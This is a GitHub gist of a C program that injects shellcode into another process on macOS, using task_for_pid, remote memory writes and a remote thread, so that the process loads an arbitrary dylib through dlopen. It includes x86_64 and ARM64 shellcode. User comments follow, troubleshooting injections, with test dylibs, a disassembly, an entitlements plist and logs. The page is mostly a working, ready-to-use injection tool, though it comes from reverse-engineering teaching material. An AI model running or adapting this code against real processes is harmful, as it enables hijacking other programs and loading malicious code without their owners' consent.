Skip to content

Instantly share code, notes, and snippets.

@vocaeq
Forked from knightsc/inject.c
Last active March 25, 2025 21:51
Show Gist options
  • Save vocaeq/fbac63d5d36bc6e1d6d99df9c92f75dc to your computer and use it in GitHub Desktop.
Save vocaeq/fbac63d5d36bc6e1d6d99df9c92f75dc to your computer and use it in GitHub Desktop.
An example of how to inject code to call dlopen and load a dylib into a remote mach task. Tested on 12.5 M1 Pro.
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <pthread.h>
#ifdef __arm64__
//#include "mach/arm/thread_status.h"
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
//
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
// Updated to work on Mojave by creating a stub mach thread that then
// creates a real pthread. Injected mach thread is terminated to clean
// up as well.
//
// Due to popular request:
//
// Simple injector example (and basis of coreruption tool).
//
// If you've looked into research on injection techniques in OS X, you
// probably know about mach_inject. This tool, part of Dino Dai Zovi's
// excellent "Mac Hacker's Handbook" (a must read - kudos, DDZ) was
// created to inject code in PPC and i386. Since I couldn't find anything
// for x86_64 or ARM, I ended up writing my own tool.
// Since, this tool has exploded in functionality - with many other features,
// including scriptable debugging, fault injection, function hooking, code
// decryption, and what not - which comes in *really* handy on iOS.
//
// coreruption is still closed source, due its highly.. uhm.. useful
// nature. But I'm making this sample free, and I have fully annotated this.
// The rest of the stuff you need is in Chapters 11 and 12 MOXiI 1, with more
// to come in the 2nd Ed (..in time for iOS 9 :-)
//
// Go forth and spread your code :-)
//
// J ([email protected]) 02/05/2014
//
// v2: With ARM64 - 06/02/2015 NOTE - ONLY FOR **ARM64**, NOT ARM32!
// Get the full bundle at - http://NewOSXBook.com/files/injarm64.tar
// with sample dylib and with script to compile this neatly.
//
//**********************************************************************
// Note ARM code IS messy, and I left the addresses wide apart. That's
// intentional. Basic ARM64 assembly will enable you to tidy this up and
// make the code more compact.
//
// This is *not* meant to be neat - I'm just preparing this for TG's
// upcoming OS X/iOS RE course (http://technologeeks.com/OSXRE) and thought
// this would be interesting to share. See you all in MOXiI 2nd Ed!
//**********************************************************************
// This sample code calls pthread_set_self to promote the injected thread
// to a pthread first - otherwise dlopen and many other calls (which rely
// on pthread_self()) will crash.
// It then calls dlopen() to load the library specified - which will trigger
// the library's constructor (q.e.d as far as code injection is concerned)
// and sleep for a long time. You can of course replace the sleep with
// another function, such as pthread_exit(), etc.
//
// (For the constructor, use:
//
// static void whicheverfunc() __attribute__((constructor));
//
// in the library you inject)
//
// Note that the functions are shown here as "_PTHRDSS", "DLOPEN__" and "SLEEP___".
// Reason being, that the above are merely placeholders which will be patched with
// the runtime addresses when code is actually injected.
char injectedCode[] =
#ifdef X86_64
// "\xCC" // int3
"\x55" // push rbp
"\x48\x89\xE5" // mov rbp, rsp
"\x48\x83\xEC\x10" // sub rsp, 0x10
"\x48\x8D\x7D\xF8" // lea rdi, qword [rbp+var_8]
"\x31\xC0" // xor eax, eax
"\x89\xC1" // mov ecx, eax
"\x48\x8D\x15\x21\x00\x00\x00" // lea rdx, qword ptr [rip + 0x21]
"\x48\x89\xCE" // mov rsi, rcx
"\x48\xB8" // movabs rax, pthread_create_from_mach_thread
"PTHRDCRT"
"\xFF\xD0" // call rax
"\x89\x45\xF4" // mov dword [rbp+var_C], eax
"\x48\x83\xC4\x10" // add rsp, 0x10
"\x5D" // pop rbp
"\x48\xc7\xc0\x13\x0d\x00\x00" // mov rax, 0xD13
"\xEB\xFE" // jmp 0x0
"\xC3" // ret
"\x55" // push rbp
"\x48\x89\xE5" // mov rbp, rsp
"\x48\x83\xEC\x10" // sub rsp, 0x10
"\xBE\x01\x00\x00\x00" // mov esi, 0x1
"\x48\x89\x7D\xF8" // mov qword [rbp+var_8], rdi
"\x48\x8D\x3D\x1D\x00\x00\x00" // lea rdi, qword ptr [rip + 0x2c]
"\x48\xB8" // movabs rax, dlopen
"DLOPEN__"
"\xFF\xD0" // call rax
"\x31\xF6" // xor esi, esi
"\x89\xF7" // mov edi, esi
"\x48\x89\x45\xF0" // mov qword [rbp+var_10], rax
"\x48\x89\xF8" // mov rax, rdi
"\x48\x83\xC4\x10" // add rsp, 0x10
"\x5D" // pop rbp
"\xC3" // ret
"LIBLIBLIBLIB"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
#else
//"\x20\x8e\x38\xd4" //brk #0xc471
"\xe0\x03\x00\x91\x00\x40\x00\xd1\xe1\x03\x1f\xaa\xe3\x03\x1f\xaa\xc4\x00\x00\x10\x62\x01\x00\x10\x85\x00\x40\xf9\xa0\x00\x3f\xd6\x07\x00\x00\x10\xe0\x00\x1f\xd6\x50\x54\x48\x52\x44\x43\x52\x54\x44\x4c\x4f\x50\x45\x4e\x5f\x5f\x50\x54\x48\x52\x44\x45\x58\x54\x21\x00\x80\xd2\xc0\x00\x00\x10\x47\xff\xff\x10\xe8\x00\x40\xf9\x00\x01\x3f\xd6\x67\xfe\xff\x10\xe0\x00\x1f\xd6\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42";
/*
Compile: as shellcode.asm -o shellcode.o && ld ./shellcode.o -o shellcode -lSystem -syslibroot `xcrun -sdk macosx --show-sdk-path`
.global _main
.align 4
_main:
mov x0, sp
sub x0, x0, #16
mov x1, xzr
mov x3, xzr
adr x4, pthrdcrt
adr x2, _thread
ldr x5, [x4]
blr x5
_loop:
adr x7, _loop
br x7
pthrdcrt: .ascii "PTHRDCRT"
dlllopen: .ascii "DLOPEN__"
pthrdext: .ascii "PTHRDEXT"
_thread:
mov x1, #1
adr x0, lib
adr x7, dlllopen
ldr x8, [x7]
blr x8
adr x7, _loop
br x7
lib: .ascii "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
*/
#endif
int inject(pid_t pid, const char *lib)
{
task_t remoteTask;
struct stat buf;
/**
* First, check we have the library. Otherwise, we won't be able to inject..
*/
int rc = stat(lib, &buf);
if (rc != 0) {
fprintf(stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib, strerror(errno));
//return (-9);
}
mach_error_t kr = 0;
/**
* Second - the critical part - we need task_for_pid in order to get the task port of the target
* pid. This is our do-or-die: If we get the port, we can do *ANYTHING* we want. If we don't, we're
* #$%#$%.
*
* In iOS, this will require the task_for_pid-allow entitlement. In OS X, this will require getting past
* taskgated, but root access suffices for that.
*
*/
kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "Unable to call task_for_pid on pid %d: %s. Cannot continue!\n", pid, mach_error_string(kr));
return (-1);
}
/**
* From here on, it's pretty much straightforward -
* Allocate stack and code. We don't really care *where* they get allocated. Just that they get allocated.
* So, first, stack:
*/
mach_vm_address_t remoteStack64 = (vm_address_t)NULL;
mach_vm_address_t remoteCode64 = (vm_address_t)NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else {
fprintf(stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
/**
* Then we allocate the memory for the thread
*/
remoteCode64 = (vm_address_t)NULL;
kr = mach_vm_allocate(remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
/**
* Patch code before injecting: That is, insert correct function addresses (and lib name) into placeholders
*
* Since we use the same shared library cache as our victim, meaning we can use memory addresses from
* OUR address space when we inject..
*/
int i = 0;
char *possiblePatchLocation = (injectedCode);
for (i = 0; i < 0x100; i++) {
// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;
uint64_t addrOfPthreadCreate = (uint64_t)dlsym(RTLD_DEFAULT, "pthread_create_from_mach_thread");
uint64_t addrOfPthreadExit = (uint64_t)dlsym(RTLD_DEFAULT, "pthread_exit");
uint64_t addrOfDlopen = (uint64_t)dlopen;
if (memcmp(possiblePatchLocation, "PTHRDCRT", 8) == 0) {
printf("pthread_create_from_mach_thread @%llx\n", addrOfPthreadCreate);
memcpy(possiblePatchLocation, &addrOfPthreadCreate, 8);
}
if (memcmp(possiblePatchLocation, "PTHRDEXT", 8) == 0) {
printf("pthread_exit @%llx\n", addrOfPthreadExit);
memcpy(possiblePatchLocation, &addrOfPthreadCreate, 8);
}
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0) {
printf("dlopen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0) {
strcpy(possiblePatchLocation, lib);
}
}
/**
* Write the (now patched) code
*/
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t)injectedCode, // Source
sizeof(injectedCode)); // Length of the source
if (kr != KERN_SUCCESS) {
fprintf(stderr, "Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
/*
* Mark code as executable - This also requires a workaround on iOS, btw.
*/
kr = vm_protect(remoteTask, remoteCode64, sizeof(injectedCode), FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
/*
* Mark stack as writable - not really necessary
*/
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "Unable to set memory permissions for remote thread: Error %s\n", mach_error_string(kr));
return (-4);
}
/*
* Create thread - This is obviously hardware specific.
*/
#ifdef X86_64
x86_thread_state64_t remoteThreadState64;
#else
// Using unified thread state for backporting to ARMv7, if anyone's interested..
struct arm_unified_thread_state remoteThreadState64;
#endif
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
#ifdef X86_64
remoteThreadState64.__rip = (u_int64_t) (vm_address_t) remoteCode64;
// set remote Stack Pointer
remoteThreadState64.__rsp = (u_int64_t) remoteStack64;
remoteThreadState64.__rbp = (u_int64_t) remoteStack64;
#else
// Note the similarity - all we change are a couple of regs.
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
// __uint64_t __x[29]; /* General purpose registers x0-x28 */
#endif
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
/*
* create thread and launch it in one go
*/
#ifdef X86_64
kr = thread_create_running( remoteTask, x86_THREAD_STATE64,
(thread_state_t) &remoteThreadState64, x86_THREAD_STATE64_COUNT, &remoteThread );
#else // __arm64__
kr = thread_create_running( remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
#endif
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3); }
return (0);
}
int main(int argc, const char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s _pid_ _action_\n", argv[0]);
fprintf(stderr, " _action_: path to a dylib on disk\n");
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;
int rc = stat(action, &buf);
if (rc == 0) {
inject(pid, action);
}
else {
fprintf(stderr, "Dylib not found\n");
}
}
@Szustarol
Copy link

hey @vocaeq , excellent work with adapting this to arm, I have tried your very simple printf dylib, and also one that writes into a file, but it seems the code is not executed at all.
I compile the injector with gcc and the dylib with gcc or g++, with the -dynamiclib flag. I see no errors or crashes, the app continues to run, but it doesn't seem like my code is executed.
Would you happen to know why could it be?

@StarHack
Copy link

@Szustarol Did you debug your app in lldb ?

lldb yourapp
r
CTRL+C
thread backtrace all
c

Then run injector (sudo or with privileged access).

CTRL+C
thread backtrace all

Did you see the new thread or is it missing altogether? We used a different implementation of this code in prouduction and it's working perfectly fine.

@Szustarol
Copy link

Szustarol commented Dec 6, 2024

@StarHack thank you for your reply, yes indeed I checked that the thread is injected, however due to limitations in lldb (a longstanding EXC_BAD_ACCESS looping stop issue) I was only able to verify it in the resource monitor. That said, it's quite clear that the threads are created after running the injector a couple of times.

I am using this very simple source to test my injected dylib:

#include <iostream>
#include <fstream>


void appendToFile(const std::string& filePath, const std::string& text) {
  std::ofstream outfile;

  outfile.open(filePath, std::ios_base::app); 
  outfile << text; 
  outfile.flush();
}

__attribute__((constructor))
static void initializer(void) {        
    appendToFile("/tmp/injector.log", "HELLO FROM INJECTED CODE\n");
}
 
__attribute__((destructor))
static void finalizer(void) {                               
}
//g++ injector.cpp -dynamiclib -o inject.dylib

Of course, I ensured my /tmp has rwx permissions (well, on MacOs /tmp is actually a symlink that points to a 777 folder). Seems like the thread is injected, but the code is not running, and I cannot figure out a simpler way to debug a dylib than printing to a file, given access to lldb is not really available.
Do you maybe have some experience with why such a simple dylib would not work?

Edit: I managed to get lldb to work by recompiling it and disabling the EXC_BAD_ACCESS checks in code. I will fiddle with it and get back here if I find the issue.

Okay, it seems I have found the issue.
You of course need to get rid of C++ name mangling to create valid dylib entry points, so make sure to wrap your constructors and destructors with extern "C" if you're building your dylib in C++. Now my dylib can be injected with lldb, but it still doesn't work with your injector.

@edom18
Copy link

edom18 commented Dec 23, 2024

Thank you for sharing grate source code! It helps me a lot! I have been trying to inject my dylib to my process from scrach.

I have a question. How to check my dylib was loaded?

I compiled this code successfully then I started my target process which I made and I launched inject process with sudo.

There are no issues, no crashes but no logs. I saw some logs from 'inject' process and there were messages that the injeciting process was success.


Here is my dylib source code. I suposed happen showing log in my console with PID but no logs.

#include <stdio.h>
#include <unistd.h>

void print_pid()
{
    pid_t pid = getpid();
    printf("Current pid in sample libyrar: %d\n", pid);
}

__attribute__((constructor))
static void initialize()
{
    printf("Initializing sample library...\n");

    print_pid();
}

And here is logs from 'inject' process:

Allocated remote stack @0x102e30000
pthread_create_from_mach_thread @1961177f8
dlopen @19611dc04
pthread_exit @1961135cc
Remote Stack 64  0x102e38000, Remote code is 0x102e40000

Is this success to inject?

@edom18
Copy link

edom18 commented Dec 23, 2024

I'm so sorry. I passed wrong library path. I launched inject process in other folder then I passed relative path so the target process wasn't able to find my library.

@wquantum
Copy link

wquantum commented Feb 9, 2025

I can inject into the same application without any issues on x86, but things change when switching to M2 ARM. application crashes.
I would really appreciate your help. What am I missing?

#include <iostream>

extern "C" void __attribute__((constructor)) load()
{
     printf("Hello World");
}

Disassembly of section __DATA,__data:

0000000100008000 <_injectedCode>:
100008000: e0 03 00 91 	mov	x0, sp
100008004: 00 40 00 d1 	sub	x0, x0, #16
100008008: e1 03 1f aa 	mov	x1, xzr
10000800c: e3 03 1f aa 	mov	x3, xzr
100008010: c4 00 00 10 	adr	x4, #24
100008014: 62 01 00 10 	adr	x2, #44
100008018: 85 00 40 f9 	ldr	x5, [x4]
10000801c: a0 00 3f d6 	blr	x5
100008020: 07 00 00 10 	adr	x7, #0
100008024: e0 00 1f d6 	br	x7
100008028: 50 54 48 52 	<unknown>
10000802c: 44 43 52 54 	b.mi	0x1000ac894 <_injectedCode+0xa4894>
100008030: 44 4c 4f 50 	adr	x4, #649610
100008034: 45 4e 5f 5f 	<unknown>
100008038: 50 54 48 52 	<unknown>
10000803c: 44 45 58 54 	b.mi	0x1000b88e4 <_injectedCode+0xb08e4>
100008040: 21 00 80 d2 	mov	x1, #1
100008044: c0 00 00 10 	adr	x0, #24
100008048: 47 ff ff 10 	adr	x7, #-24
10000804c: e8 00 40 f9 	ldr	x8, [x7]
100008050: 00 01 3f d6 	blr	x8
100008054: 67 fe ff 10 	adr	x7, #-52
100008058: e0 00 1f d6 	br	x7
10000805c: 4c 49 42 4c 	<unknown>
100008060: 49 42 4c 49 	<unknown>
100008064: 42 4c 49 42 	<unknown>
100008068: 4c 49 42 4c 	<unknown>
10000806c: 49 42 4c 49 	<unknown>
100008070: 42 4c 49 42 	<unknown>
100008074: 4c 49 42 4c 	<unknown>
100008078: 49 42 4c 49 	<unknown>
10000807c: 42 4c 49 42 	<unknown>
100008080: 4c 49 42 4c 	<unknown>
100008084: 49 42 4c 49 	<unknown>
100008088: 42 4c 49 42 	<unknown>
10000808c: 4c 49 42 4c 	<unknown>
100008090: 49 42 4c 49 	<unknown>
100008094: 42 4c 49 42 	<unknown>
100008098: 4c 49 42 4c 	<unknown>
10000809c: 49 42 4c 49 	<unknown>
1000080a0: 42 4c 49 42 	<unknown>
1000080a4: 4c 49 42 4c 	<unknown>
1000080a8: 49 42 4c 49 	<unknown>
1000080ac: 42 4c 49 42 	<unknown>
1000080b0: 00          	<unknown>

my shellcode:

"\xe0\x03\x00\x91\x00\x40\x00\xd1\xe1\x03\x1f\xaa\xe3\x03\x1f\xaa"
"\xc4\x00\x00\x10\x62\x01\x00\x10\x85\x00\x40\xf9\xa0\x00\x3f\xd6"
"\x07\x00\x00\x10\xe0\x00\x1f\xd6\x50\x54\x48\x52\x44\x43\x52\x54"
"\x44\x4c\x4f\x50\x45\x4e\x5f\x5f\x50\x54\x48\x52\x44\x45\x58\x54"
"\x21\x00\x80\xd2\xc0\x00\x00\x10\x47\xff\xff\x10\xe8\x00\x40\xf9"
"\x00\x01\x3f\xd6\x67\xfe\xff\x10\xe0\x00\x1f\xd6\x4c\x49\x42\x4c"
"\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49"
"\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42"
"\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c"
"\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49"
"\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42\x4c\x49\x42";

entitlement.xml
codesign --entitlements ent.xml -s - ./injector_arm

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>com.apple.security.get-task-allow</key>
        <true/>
        <key>com.apple.security.task_for_pid-allow</key>
        <true/>
</dict>
</plist>
x86_THREAD_STATE64_COUNT: 42
RIP: 0x114ce3000
RIP address is readable.
RSP: 0x137af8000
RBP: 0x137af8000
Memory at 0x100000000 -> protection: 5

Unable to set thread state: (os/kern) invalid argument

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment